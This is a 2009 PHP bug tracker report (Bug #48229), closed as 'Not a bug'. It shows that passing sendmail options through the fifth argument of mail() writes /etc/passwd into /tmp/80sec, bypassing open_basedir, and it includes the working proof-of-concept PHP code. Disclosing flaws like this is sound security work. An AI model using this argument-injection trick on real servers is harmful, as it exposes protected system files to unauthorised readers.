php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #48229 mail() function open_basedir bypass
Submitted: 2009-05-11 02:35 UTC Modified: 2009-05-11 09:32 UTC
From: root at 80sec dot com Assigned:
Status: Not a bug Package: Safe Mode/open_basedir
PHP Version: 5.2.9 OS: linux
Private report: No CVE-ID: None
 [2009-05-11 02:35 UTC] root at 80sec dot com
Description:
------------
The mail function may bypass open_basedir or read/write arbitrary
 file.

Reproduce code:
---------------
<?php
$to = 'jianxin@80sec.com'.str_repeat("x",10000);
$subject = 'the subject'.str_repeat("x",10);
$message = 'hello'.str_repeat("x",10);
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd");
?>

Expected result:
----------------
we can get the contents of /etc/passwd in /tmp/80sec.

Actual result:
--------------
we can get the contents of /etc/passwd in /tmp/80sec.

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2009-05-11 09:32 UTC] jani@php.net
Enable safe-mode.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Mar 28 21:01:27 2024 UTC